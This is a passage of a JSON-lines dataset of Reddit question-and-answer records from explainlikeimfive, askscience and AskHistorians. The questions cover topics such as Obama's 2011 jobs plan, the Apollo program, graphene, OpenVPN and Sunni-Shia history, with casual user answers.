Extending unemployment insurance for another year.\n\n5) A tax credit to hire veterans. The president: \"Pass this jobs bill, and companies will get extra tax credits if they hire America's veterans.\"\n\n6) Housing help. The president: \"To help responsible homeowners, we're going to work with Federal housing agencies to help more people refinance their mortgages at interest rates that are now near 4% -- a step that can put more than $2,000 a year in a family's pocket, and give a lift to an economy still burdened by the drop in housing prices.\"\n\n7) Deficit Reduction through tax reform and spending reductions that include Medicare and Medicaid: The president:  \"In addition to the trillion dollars of spending cuts I've already signed into law, it's a balanced plan that would reduce the deficit by making additional spending cuts; by making modest adjustments to health care programs like Medicare and Medicaid; and by reforming our tax code in a way that asks the wealthiest Americans and biggest corporations to pay their fair share. What's more, the spending cuts wouldn't happen so abruptly that they'd be a drag on our economy, or prevent us from helping small business and middle-class families get back on their feet right away.\" \n", "Why do I get the feeling that we've tried these solutions before ?_? We've done the payroll before, the incentives, tax credits and what not. What's the reaction among macroeconomists on Obama's plan?", "Any subsidies for green tech?", "Nice try Michele Bachmann.", "He wants to pay small businesses to hire people especially veterans and people unemployed for more than 6 months.\n\nHe wants to build/repair infrastructure including high speed rail, bridges, and major highways, thus creating jobs.\n\nHe wants to pay small businesses to raise salaries.\n\nHe wants to pay for this with cuts over the next year that he and congress find including what he has been saying, reforming tax code to make the rich pay more and also slightly overhaul medicare/medicaid.", "Any major speech like this would get a lot of coverage because the economy is a big issue right now.  The country had zero job growth in the month of August so we're hanging on the cusp of dipping into another recession.     I copied these points from [here](_URL_0_), if I have more time I will flesh them out.  Obama's goal was to come up with a plan that would appeal to both parties so the plan would get passed.  That's why you heard him say several times, \"Republicans already suggested this\" or \"Elements of this part of the plan already work in such and such Republican state.\"  That also means that Democrats will be disappointed that the plan isn't progressive enough.\n\nSo basically, no one will be super happy with Obama's suggestions about the bill because neither party got everything they wanted, but as long as the plan passes, the economy will be better off.  This plan still has to be debated in both houses of Congress (where lots of amendments will be made), passed by both houses of Congress, and then signed by President Obama to become law.\n\n\n\n1) Payroll tax cut. The central item is the payroll tax extension and expansion. Let's explain that. Normally, you would pay 6.2 percent of your wages in taxes. In 2011, you paid only 4.2 percent, thanks to a compromise reached in December. But in 2012, according to the president's plan, you would pay a tax on only 3.2 percent of your wages. That comes out to nearly a 50 percent tax cut on work, worth about $1,500 per year for a typical worker.\n\n\n2) Incentives to hire. The president: \"Small businesses will get a tax cut if they hire new workers or raise workers' wages. It's a fine idea, but not revolutionary.\" Passed in 2010, the HIRE Act already gave tax breaks to businesses who hired previously unemployed workers \n\n3) A tax credit to hire the long-term unemployed. The president: \"Pass this jobs bill, and companies will get a $4,000 tax credit if they hire anyone who has spent more than six months looking for a job.\"\n\n4) Extending unemployment insurance for another year.\n\n5) A tax credit to hire veterans. The president: \"Pass this jobs bill, and companies will get extra tax credits if they hire America's veterans.\"\n\n6) Housing help. The president: \"To help responsible homeowners, we're going to work with Federal housing agencies to help more people refinance their mortgages at interest rates that are now near 4% -- a step that can put more than $2,000 a year in a family's pocket, and give a lift to an economy still burdened by the drop in housing prices.\"\n\n7) Deficit Reduction through tax reform and spending reductions that include Medicare and Medicaid: The president:  \"In addition to the trillion dollars of spending cuts I've already signed into law, it's a balanced plan that would reduce the deficit by making additional spending cuts; by making modest adjustments to health care programs like Medicare and Medicaid; and by reforming our tax code in a way that asks the wealthiest Americans and biggest corporations to pay their fair share. What's more, the spending cuts wouldn't happen so abruptly that they'd be a drag on our economy, or prevent us from helping small business and middle-class families get back on their feet right away.\" \n", "Why do I get the feeling that we've tried these solutions before ?_? We've done the payroll before, the incentives, tax credits and what not. What's the reaction among macroeconomists on Obama's plan?", "Any subsidies for green tech?", "Nice try Michele Bachmann."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.theatlantic.com/business/archive/2011/09/obamas-jobs-package-a-smart-plan-but-not-a-game-changer/244799/"], [], [], [], [], ["http://www.theatlantic.com/business/archive/2011/09/obamas-jobs-package-a-smart-plan-but-not-a-game-changer/244799/"], [], [], []]}
{"q_id": "1pvhpa", "title": "Did the Mafia ever really use 'cement shoes?'", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pvhpa/did_the_mafia_ever_really_use_cement_shoes/", "answers": {"a_id": ["cd6isgy", "cd6n7d3", "cd755m6"], "score": [150, 5, 3], "text": ["Though it isn't a hugely reliable source, [this](_URL_0_) article suggests that the rumors are just that; rumors. They author could not find a single confirmed case of them being employed. More likely, and confirmed, is the use of concrete to weight down a corpse *after* killing them a different way. \n\nThe issue is that concrete takes several hours to ~~dry~~ set, during which the victim would need to stand fairly motionless, i.e. be immobilized. That's a lot of work to go to just for a creative murder.\n\nSidenote: I just have to ask, was today's Cyanide and Happiness the inspiration for this question? Because I was wondering too when I read it.", "If they didn't do it in a literal sense, was it just a figure of speech about throwing the corpse in a body of water while being weighed down, and/or was it about throwing them in alive while weighed down?", "There was a case in Czech Republic when mafia tied somebody to steel beam and threw them into Orlik dam. They were convincted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.straightdope.com/columns/read/2824/were-concrete-shoes-a-favored-technique-of-mob-hitmen"], [], []]}
{"q_id": "3skvea", "title": "the safe campus act", "selftext": "What is the Safe Campus Act? Why should I care? and why is it making news that sororities are opposing it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3skvea/eli5the_safe_campus_act/", "answers": {"a_id": ["cwy5af9"], "score": [2], "text": ["The controversial part is that sexual assault victims need to report it to the police in order for the school to take action.\n\nThe broader picture is that it sets requirements for training, designated confidential advisors, statistical records, and university/police cooperation and expands grants available to campuses to combat sexual assaults, among other things.\n\nThe \"report to police\" thing is a part of the cooperation between university and police, the idea (I believe) being that police involvement cleans up the legal mess that results from strong disciplinary measures against students who weren't investigated by law enforcement and ensures justice for the victim. For example, if a student is kicked out of school for a sexual assault without hard evidence and based only on the account of the victim to administration and hearsay, the student might be inclined to litigate. With police involvement, it is a more professional investigation and both sides are more likely to have their rights preserved. Essentially, it protects the integrity of the process. Universities have been criticized for how they investigate and this takes it out of their hands to the benefit of both parties.\n\nOn the other side, it can be said that mandatory police involvement may cause a victim to be wary of reporting it. A police investigation is more invasive, while the student might just want to make sure they won't have classes or a dorm with the alleged assaulter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "25fnp9", "title": "Does the behavior (as if it has no mass) of an electron change when it passes through multiple layers of graphene sheeting?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25fnp9/does_the_behavior_as_if_it_has_no_mass_of_an/", "answers": {"a_id": ["chgqpu8", "chgr6j5", "chgrep5"], "score": [3, 3, 4], "text": ["The electron always has mass it's rest mass, the difference in condense matter is that electrons is that they have an effective mass and this is what goes to zero when in a graphene sheet. The effective mass is a bit like a mass that exists only inside a conducting materiel, such that the materiel is its own \"universe\" with it's own particle, the empty state of that universe is the graphene or metal. They can even have there own particles such as phonons and holes which don't exist outside of the materiel. When the electron has a zero effective mass it indicates a wave like behavior similar to photons.\n\nWith multiple sheets of graphene you end up with graphite which doesn't have as many of the cool properties of graphene. Such as that electrons don't conducted well between sheets, but still conduct well inside them.", "Those graphene-specific properties quickly vanish as more layers are added.", "Graphene's dispersion relation (that gives rise to vanishing effective mass) refers to motion inside a single graphene sheet. Once you introduce layers and allow interlayer tunnelling there is a mass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4duhqe", "title": "Splenda and other artificial sweeteners are \"hundreds\" or \"thousands\" of times sweeter. How do they measure this? They taste the same to me.", "selftext": "Artificial sweeteners like Splenda are said to be hundreds or thousands of times sweeter than real sugar.  How do they measure this? And why is it that a teaspoon of splenda in one of those little packets tastes exactly as sweet as a teaspoon of sugar?  Shouldn't my mind be absolutely blown by how sweet it is?  ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4duhqe/splenda_and_other_artificial_sweeteners_are/", "answers": {"a_id": ["d1uibtu", "d1uicf9"], "score": [8, 24], "text": ["The article below explains that sweeteners are taste tested and repeatedly diluted to get a reference. Though this isn't 100% it is sufficient for most people. As for your sugar packets vs. fake sugar packets, they are not the same volume. Take one of each and weigh them, you will get noticeable results. For a chart of the volumetric difference see the second link.\n_URL_0_\n\n_URL_1_", "Because it's also diluted thousands of times so that in the  packet it's about a 1:1 analog of sugar. \n\nThat way when you are used to putting one packet of sugar in your coffee, you use one packet of Splenda. Otherwise your mind would be blown. Plus, it's hard to put only a couple of grains of Splenda in your coffee. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sweetenerbook.com/assets/blogs/measure.html", "http://www.pastrywiz.com/sugar.htm"], []]}
{"q_id": "b5f5vp", "title": "why does fresh air, or more specifically 'sea air', make you feel more tired than you would otherwise expect to feel?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b5f5vp/eli5_why_does_fresh_air_or_more_specifically_sea/", "answers": {"a_id": ["ejd6kyt", "ejd6syv", "ejd8dfz"], "score": [19, 12, 7], "text": ["I think this is just a myth, caused by people used to sitting in an office all day long actually having long (even though not heavy) physical exercise.\n- walking through sand is straining\n- wind may require small muscle activity (balance, resistance)\n- heat / sun dehydrate the body (potentially not conciously, and further hidden by wind \n- long walks, swimming etc. \n\nI don\u2019t think that it\u2019s really the air that makes us tired. ", "I have never heard of this until just now on reddit. I don't believe everything on reddit. This is one of those things on reddit. ", "Surely fresh air does just the opposite. You sit inside in a stuffy office struggling to keep your eyes open. You pop out to the sea and you're up and at them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "675r5p", "title": "how to identify a real friend from a fake friend?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/675r5p/eli5_how_to_identify_a_real_friend_from_a_fake/", "answers": {"a_id": ["dgnwagq"], "score": [2], "text": ["Real friends will ask you to join in on anything fun and be disappointed whenever you can't go. They'll ask for your input and appreciate it. If you need to say something, they'll listen. They won't judge you (too harshly).\n\nIf someone doesn't seem to care about you, they're probably not your friend. You don't have to force yourself to communicate with that person. Note that not seeming to care can be on both their end (they don't actually care) or your end (you don't see that they do care) and be wary of the latter.\n\nMost important is you gotta find people who share your interests. Join hobbyist groups, don't be afraid to introduce yourself to new people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "u7s1b", "title": "Why does copper slow down rare earth magnets, and does it produce heat?", "selftext": "I was watching some videos of guys playing around with large rare earth magnets and either tubes of copper or thick platters of copper.\n\nWhats going on here?\n\nIf someone put copper rings on a tire, and rare earth magnets on the brakes, how efficient would it be in slowing a vehicle?  Also, would it produce heat?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u7s1b/why_does_copper_slow_down_rare_earth_magnets_and/", "answers": {"a_id": ["c4t1g0p", "c4t2vyx"], "score": [7, 2], "text": ["The moving magnet produces electrical currents in the copper. Heat is produced by the resistive heating.", "High school physics student here so my explanation may be oversimplified.\n\nWhen you place a conductor in a moving magnetic field (or vice versa) then eddy currents will be induced in the conductor (_URL_0_). These eddy currents will produce heat (due to resistance in the conductor).\n\nThis video seems to explain it well _URL_2_ (read the description)\n\nEddy current braking is indeed a thing and is widely used. _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Eddy_currents", "http://en.wikipedia.org/wiki/Eddy_current_brake", "http://www.youtube.com/watch?v=SK0EdikjC24"]]}
{"q_id": "vup7d", "title": "How thick does a piece of glass have to be before light cannot travel through it?", "selftext": "I was looking at a window today, and realised that the window must block some light, so I was wondering how thick a piece of glass would have to be before no light would make it from one end to the other.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vup7d/how_thick_does_a_piece_of_glass_have_to_be_before/", "answers": {"a_id": ["c57svcq", "c57tq3n"], "score": [21, 55], "text": ["That would depend on the kind of glass. Light traveling through glass will be absorbed in some percentage per unit of distance, this percentage is called transmittance. Based on the transmittance, it will fall off via ~~the inverse square law~~ an exponential decay curve, thank you IndustriousMadman.\n\nThe kind of transmittance we're talking about here is internal transmittance, by the way. There's also a quantity for transmittance when light passes through from one medium such as air into the glass, defined by the fresnel equations. \n\nAnyway, for an example of some numbers, check out this optical glass: _URL_0_\nOn page 4 there's a graph for the internal transmittance for different wavelengths, for 25mm of thickness. \n\nAnyway, sorry for not answering your exact question for any specific kind of glass, but these are the concepts in play. ", "The best (clearest) glass is the high-quality fused silica inside the optical fibers used for telecommunications.  These are amazingly clear -- they attenuate light (at 1.5 micron wavelength -- a wavelength the human eye can't see) at a rate of 0.2 dB/km.  At that rate, considering a reasonably bright light (1 mW) and the fact that we can usually see light about a factor of a million weaker (about 1 nW), light can travel 300 km (190 mi) before you wouldn't be able to see it any more.  At the red end of the visible spectrum where the attenuation is around 5 dB/km, if you pointed a red laser pointer in one end of the fiber, you'd still be able to see it after about 12 km (7.5 mi)!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.us.schott.com/advanced_optics/english/download/schott_tie-35_transmittance_october_2005_us.pdf"], []]}
{"q_id": "ce0cip", "title": "how does it possible that apollo 11 in 1969 could reach the moon but nowadays nasa says that we still need years to make it possible again?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ce0cip/eli5_how_does_it_possible_that_apollo_11_in_1969/", "answers": {"a_id": ["etxh0ji", "etxh2js", "etxiyjz", "etxly63", "etxwtnu", "etybzy0", "etyix1q", "etzmqiy"], "score": [24, 59, 7, 12, 6, 2, 2, 2], "text": ["Apollo 11 was the culmination of nine years of effort. Similar amounts of effort would still be required today since we haven't been routinely using any equipment which would fit the requirements of a Lunar mission. So new equipment would have to be conceived, built, and rigorously tested before use. This takes time and money.", "Apollo was willing to spend 4% of the US government's total spending.\n\nThe current NASA budget is 0.5% of US government spending.\n\nThat's a big difference.", "While the other answers here are great, the other item to consider is that we don't _just_ want to get back to the Moon; going back to the Moon is a stepping stone to going to Mars and other objects.\n\nIf we _just_ wanted to get back to the moon, we could build another Saturn 5 rocket and head back there pretty quickly (would still probably take a few years to fabricate) but that technology won't help us meet our long term goals.  We need to design _new_ rockets and ships with the intent of going _beyond_ the Moon.  That takes a lot of time to do safely.", "1. Funding. The Apollo program accounted for roughly 4.4% of the entire federal budget. Today, it's around 0.4%. Less funding, the slower you work and the less likely you are to want to devote large amounts of resources for a long term project as that takes a lot of money away from other areas.\n\n2. Lack of pressure. There's no longer any race to get to the moon, and no Soviet Union to make us want to devote large amounts of money to further develop our space and rocket technologies\n\n3. Risk vs reward. 3 people died during the apollo program, and 3 more narrowly avoided death on Apollo 13. 14 other crew members have died since then in Columbia and Challenger. Strapping people on giant rockets and blasting them into space and bringing them back is extremely risky. There are limited rewards to another manned mission to the moon.", "In the 1960's, the United States was getting upstaged by the Soviet Union in space and missile technology. Due to the strong competitive spirit of the Cold War, the political will was there to fund something as massively expensive as a Moon landing. Even then, there were a lot of people who though the costs outweighed the benefits of some political dick waving. Although it can be argued that the space program did have a lot of valuable benefits that only became apparent many years later. But that huge up front expense is difficult to justify. \n\nToday, that competitive spirit just isn't there. The US isn't in an ideological war with another super power. So there's just no political will to spend the huge amounts of money required to go back to the moon. Several US presidents have mused over potentially launching a new manned Moon or Mars program, but it would be very difficult to convince congress to pony up the cash. \n\nNASA also doesn't have any rockets that could do it anymore. Aerospace technology has improved a lot since the Saturn V, so any future landings would require an entirely new launch system to meet current guidelines. Which will take time to design, test, and build. After the Challenger and Columbia disasters, NASA isn't as willing to take cowboy risks like they used to. \n\nThe focus right now is on unmanned missions (which carry less cost/risk) and making space flight commercially viable. The US Government really doesn't want to be in the launch business anymore. So developing profitable private space companies will likely be a game changer. SpaceX has been working on manned vessels capable of trans-lunar flight. They're planning a tentative flyby with paying passengers, but say that likely won't happen until at least 2023 at the earliest. \n\nThings might change though if China successfully attempts a Moon landing.", "Apollo 11 used the Saturn V rocket. It is a 3 stage rocket.\n1st stage has 7.8 million lbf of thrust. 2nd stage has 1.2 million lbf of thrust. 3rd stage has 232k lbf of thrust. A total of over 9 million lbf of thrust. Overall can carry 100k lbs to the moon, 239k miles away.\n\nAfter that NASA transitioned to Shuttles which had a mission of repairing satellites and building the international space station. Its max distance from earth was 330 miles. It was launched with two booster rockets with 2.8 million lbf per booster plus 1.2 million lbf of thrust from the orbiter. A total of 6.8 million lbf of thrust.\n\nCurrently the leading rocket in use is spacex's Falcon 9 rocket. A two stage rocket. 1st stage is 1.7 million lbf of thrust. 2nd stage is 210k lbf of thrust. A total of 1.9 million lbf.\n\nThe falcon heavy is basically 3 falcon 9's. Two act as boosters with 1.7 million lbf each. The center rocket with two stages at 1.9 million lbf. A total of 5.3 million lbf of thrust. Expected to be able to get 37000 lbs to Mars.\n\nUltimately, though newer rockets are more advanced and better designed they still are a far cry from the Saturn V in amount of thrust. \n\nThe design of the Saturn V is much too antiquated to function properly with today's computers. So the reason we don't go to the moon right now is because the technology no longer exists. And to design and build something new to do it would cost far more than NASA's budget allows.", "It's not rocket science! Even if this were the case it is still a complex logistical exercise to get men to the moon and back alive. It is probably relatively simple to just hit the moon with a rocket. People often say things like \"The ancient Egyptians built the pyramids, we couldn't do that now\". This misses the point that of course we could and in considerably less time if only we had any compelling reason to do so and someone was prepared to pay for it.", "Because government ... for the same reason Amazon can have thousands of dollars of stuff delivered to your house today, whereas DMV can't renew your license in under two weeks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "hlc9z", "title": "Why do white people have thinner lips and smaller nostrils than black people? What use does that serve (and vice versa)? ", "selftext": "Not trying to be racist, but genuinely curious. As someone who sort of fixates on their own decidedly less European features (compared to my siblings) , this question has been in the back of my mind.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hlc9z/why_do_white_people_have_thinner_lips_and_smaller/", "answers": {"a_id": ["c1way3b"], "score": [6], "text": ["Thinner lips and smaller nostrils could be a cold weather adaptation. If you're thicker/bigger it could just be randomised genetic expression; your family retains the ability to revert to being \"African\". Also, your family could have a skeleton in the closet and their genes are expressing themselves through you (like the red-headed Prince Harry who has blond/brunette parents)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1gxifu", "title": "The Third Reich and Verbal Orders", "selftext": "Hi Historians.  Sorry if this question has been asked already, but it's been on my mind.\n\nSo you've all probably heard the old Holocaust denier's claim that there is no document explicitly ordering the SS to throw all Jews and other \"undesireables\" into gas chambers, with Hitler's signature on it.  What I'm wondering is if verbal orders were common in Nazi Germany.  Were there other developments inside the Third Reich that also do not have a signed document ordering their implementation?  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gxifu/the_third_reich_and_verbal_orders/", "answers": {"a_id": ["caoslxb"], "score": [2], "text": ["There were some verbal orders from Hitler, such as the expropriation of art work that was owned by the Jews.  Joachim von Ribbentrop issued verbal orders for his Sonderkommando unit to be placed on the Eastern Front.  However, the Third Reich was extremely organized and very well documented.  The final solution was organized at a meeting called the Wannsee Conference that solidified the use of death camps and gas chambers.  There are papers stating who was there and the orders given by Reinhard Heydrich that were to be carried out.  Even within the concentration camps such as Buchenwald, an officer had to ask for permission from the SS in order to discipline a prisoner.  After the disciplinary action was approved, a very detailed form would be filled out stating why the prisoner was going to be disciplined, the method of discipline, who would be carrying the order out, and so on.  There were many times when discipline took place without asking, but it was supposed to be the protocol.\n\nHowever, with groups such as the Einsatzgruppen who were mobile execution squads, a general order from Himmler was given and the officers in charge would carry out the minor details, but it was done very neatly, precise, and organized fashion.  The claim that there was no documentation of the executions is false because Heydrich put together the organization of camps until he was assassinated, and then Eichmann carried the orders out.  It was very well documented.  The reason there may not be many signatures from Hitler is because he put Himmler in charge of the whole operation, and Himmler had Eichmann carry out the orders, who in turn had the officers who ran the camps actually do it.  However, an example would be the T-4 program where Hitler signed an authorization to protect the doctors who were participating.\n\nIn the long run, the Third Reich was very well documented and the holocaust was very organized all the way from the T-4 program to the gas chambers.  There were verbal orders, but there were also very planned, written orders as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j49c4", "title": "how the virtual first down line, virtual line of scrimmage, etc, work.", "selftext": "Ok, I get how they're projected onto my TV screen. That's not the question. I understand that the field is used as a greenscreen for the graphics.\n\nThe part that confuses me is, with the cameras moving up and down the sideline, zooming in, zooming out, panning up, down, left, and right, how the hell can the system keep track of the exact spot on the field for the projection? Why don't the projected lines wiggle, bend, and jump around like a drunken sailor relative to the field as the camera moves?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j49c4/eli5_how_the_virtual_first_down_line_virtual_line/", "answers": {"a_id": ["c290gqi", "c290gwe"], "score": [5, 2], "text": ["Alright, so you've got part one down: the green (or a set of greenish colors, making up a palette of colors) is what the computer looks for in order to paint the line.\n\nThe harder part is figuring out where it'll go. This requires two things:\n\n* a microchip on each and every camera, which tells a main computer the tilt, zoom, etc., of the camera. This effectively tells the main computer where each camera is looking and what it can see.\n\n* a really good 3-Dimensional model of the field. Each field is *almost* the same, but they have a little bit of slope and maybe some weird lines (like when football is played on a baseball diamond). So every field needs its own 3D digital model for the main computer.\n\nWith these two things, and the green colors on hand, the main computer can know where the camera is looking and where it needs to paint the lines. \n\nIf you want to read more, you can google the name of this computer system, which is called \"1st  &  Ten\" and is run by the company Sportvision.", "[Wikipedia!!](_URL_0_)\n\nIt is like you said with using greenscreen.  They know where the cameras will be, and have 3D model of the field/players which they use to make sure that it is tracking correctly.\n\nEDIT: Thanks IronRectangle!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/1st_%26_Ten_\\(graphics_system\\)"]]}
{"q_id": "2rgwvy", "title": "What did the famous 'Rebel Yell' (used by the Confederate Army in the American Civil War) sound like and what were it's origins?", "selftext": "I have an odd fascination with the Civil War and the Battle of Gettysburg in particular. The 12,000 Rebel troops were said to have used the 'Rebel Yell' while advancing on the Union stronghold on the third day of fierce fighting. I'm just imagining myself being in the 2nd Vermont Brigade on that fateful day and watching 12,000 troops line up a mile away and charge towards me screaming their 'Rebel Yell'.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2rgwvy/what_did_the_famous_rebel_yell_used_by_the/", "answers": {"a_id": ["cnfsvvs", "cng2cer", "cng6u8p"], "score": [30, 9, 15], "text": ["Not sure about its origins, but here is an old recording of CSA vets doing the rebel yell in the 1930's. Pretty impressive to see those old timers still belting it out.\n\n_URL_0_", "Copying and pasting one of my previous comments on a similar question \n\n-------\n\nWaite Rawls, the head of the Museum of the Confederacy, led a project to take the recordings that we have and then simulate what a 70-man company screaming the rebel yell would sound like.\n\n[Full interview](_URL_0_)\n\n[Jump to Simulated Rebel Yell](_URL_0_ & t=3m13s)\n\nThe simulation is downright eerie, and IMO does justice to the descriptions that were given of the Rebel Yell by Union soldiers.", "Bear in mind that *no one* has ever been able to agree what the Rebel Yell sounded like, because there was no single version of it. It was an improvised thing, almost certainly differing from man to man and unit to unit. What we have left of it are the written recollections of men who heard it, and a few recordings of broken-down old men attempting to imitate their youths. It's likely that we will *never* know what it sounded like when 5,000 men went screaming into battle.\n\nThat said? In its most general sense, it was probably a shrill, nasal cry, scream, or whoop, made by keyed-up, jittery men advancing into fire. It frightened the enemy, promoted cohesion within the advancing unit, and boosted morale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=s6jSqt39vFM&amp;spfreload=10"], ["http://www.youtube.com/watch?v=dfHylwlq9Ow", "http://www.youtube.com/watch?v=dfHylwlq9Ow&amp;t=3m13s"], []]}
{"q_id": "qeejf", "title": "- openvpn. what can i do with it? what is it for?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qeejf/eli5_openvpn_what_can_i_do_with_it_what_is_it_for/", "answers": {"a_id": ["c3wxt63"], "score": [6], "text": ["OpenVPN is a tool to create a private network over the internet. If your office sets up the server side of it and give you the client side of it, then you will be able to access files and services in your office when you're at home or in a hotel with an Internet connection. It will work like you're in the office, but a little slower, and all of the information that goes between your computers and their will be encrypted.\n\nVPN stands for \"virtual private network\". A network is a group of computers that can talk to each other. A private network is a network without other people on, as opposed to a shared network where other people can use resources in the same way many different people can use the road network, but your driveway is private to you. A virtual private network is a private network that is not physically separate from other networks, but works as a private network."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "270tij", "title": "How did Labrador Retrievers become one of the most prolific types of domestic dog?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/270tij/how_did_labrador_retrievers_become_one_of_the/", "answers": {"a_id": ["chwiql9"], "score": [4], "text": ["It's not just *one* of the most prolific, as far as pure breeds are concerned it *is* the most prolific by a big margin, it has been the most popular breed registered with the American Kennel Club for the past 24 years and Labrador retriever puppies registered outnumber the next most popular breed, currently golden retrievers, by about 2:1. \n\nThe reasons for its popularity may not have an explanation beyond the whims of fashion, the American public is quite fickle about their favourite dog breeds, changing their minds every decade or so, the Labrador has had an unusually long run at the top spot thus far. \n\nBreed guides certainly make it sound attractive, it's often described as being versatile, easy to train, good with children and other pets, usually having robust health etc. However there are plenty of other attractive breeds, so this is not a satisfactory explanation. It may just be a matter of taste, which does not lend itself to any deeper analysis. \n\n\n_URL_1_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://bigstory.ap.org/article/labrador-retrievers-set-popularity-ranking-record", "http://www.csmonitor.com/The-Culture/Family/2013/0205/What-is-the-best-dog-breed-The-most-popular-pooches-in-US-since-1880/1910s-Boston-terrier-America-s-dog"]]}
{"q_id": "2mzbji", "title": "Was the Christian world, particularly around the Crusades, aware of the schism between Sunni and Shia Islam?", "selftext": "Or did they just view Islam as a great big monolithic bloc?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mzbji/was_the_christian_world_particularly_around_the/", "answers": {"a_id": ["cm90thb", "cm924iq", "cm94fu7", "cm9b5c8"], "score": [319, 49, 7, 7], "text": ["While it's widely imagined to go back to the earliest days of Islam, the division between is much later.   Shi'a means \"faction, party, tendency\" and of course is *Shi'at 'Ali*--the faction of Ali--after Ali ibn Abi Talib, Mohammed's cousin and son-in-law, who died in 661 CE.  However, the real \"schism\" wasn't until the rise of the apocalyptically influenced (and ardently Shi'i) Safavid Dynasty in Persia in 1501.  The first crusade was proclaimed in 1095, and the phenomenon petered out, to my understanding, in the 15th century, before the rise of the Safavids.\n\nSo, what do I mean about Shi'a Islam not being really divided before that?  There are certainly Shi'as throughout Islamic history, and people who have Shi'a like factions, but it's important to recognize that this is a tendency rather than a sect.  It's hard to trace out clear lines of specifically Shi'a mosques or even, in most cases, continuous Shi'a communities from the earliest days to the rise of the Safavids.  The Fatimids, for example, we could call Isma'ili Shi'a and had a Caliphate from 909 CE to 1171, and in fact drew some of their political legitimacy from Shi'a logic (Shi'as believe that the Caliph and Imam should be a direct descendent of Muhammed through Ali's line).  However, while the Fatimid ruling class agreed with this logic, it's really unclear how much this \"Shi'a\" vs. \"non-Shi'a\" logic at the elite level affected Fatimid society at large.  In fact, Fatimids are famous for having an administration filled with Shi'as, Sunnis, Christians, and Jews.  Even within Fatimid Caliphate, there were splits in ideas about who should rule.\n\nSo Sunni is Islam has four major schools of jurisprudence, right? Right up through the 16th century there were Ottoman debates (Ottomans being both the [Sunni] Caliphs and the greatest Muslim power at the time) about whether Shi'a (particularly the type of Twelver Shi'a popular in Lebanon and later in Safavid Persia) was part of the Shafi'i school, or whether Shi'a was its own, totally legitimate fifth school.  There were a variety of Shi'a sects and religious orders, and a variety of peasants and herdsmen (particularly in Lebanon and the area where Turkey, Iran, and Iraq come together) who gave particularly importance to Ali and his family, but Shi'a weren't really treated as a class apart until the rise of the Safavids created the Shi'a Sunni divide as a clear political issue (the Safavids vs. the Ottomans) rather than merely an academic one or a matter emphasis by the common people.  If you look at some of the people called Shi'a today, the Alevis of Turkey for instance, you can see that they place particularly importance on 'Ali and exist outside the normative framework of Sunni Islam (many, for instance, don't see it as incumbent to keep the fast of Ramadan).  But they were at times tolerated, at times oppressed, mainly by the rise and fall of Ottoman - Safavid relations, and how much of a threat they were.  The further this 'Ali loving groups were from the Ottoman-Safavid frontier (for instance, some were in Rumelia, the Ottoman Balkans), the more leeway and tolerance they were given.  To view this as a clear schism even in 16th and 17th centuries is probably a mistake.  \n\nThese political and ideological lines became clearer over the centuries, but it's not as abrupt a rupture as, say, the schism between Protestantism and Catholicism.  Maybe it's closer to the split between the Catholic and the Orthodox churches, where we have a clear date for when they \"split\" (the mutual excommunications of the Pope and the Patriarch of Constantinople in 1054) but really they had been drifting apart for centuries before that (already many things only affected one area but not the other--Rome, for instance, was never affected by the iconoclast controversies that were so important in Constantinople).  \n\nSo in short, I would be surprised if crusaders made a big deal out of it because at this point it was mainly difference that related to the political and religious elite, rather than society at large.  And it while it was a meaningful distinction, it certainly wasn't the only one, or even the primary one, in the Muslim world at the time.  The most likely time it would have mattered to the Crusaders is when the Shi'a Fatimid Dynasty fell and was replaced, at least in the Levant (including the area the Crusaders sought to conquer), by the Sunni Ayyubids, of whom Saladin is the most leader, who were supported by the Sunni Abbasid Caliphate (the Fatimids chief rival in terms of religious legitimacy).  But I'm not sure the Crusaders would have seen changes from the Fatimids to the Ayyubids/Abbasids in primarily religious, rather than dynastic, terms.", "At the time of the 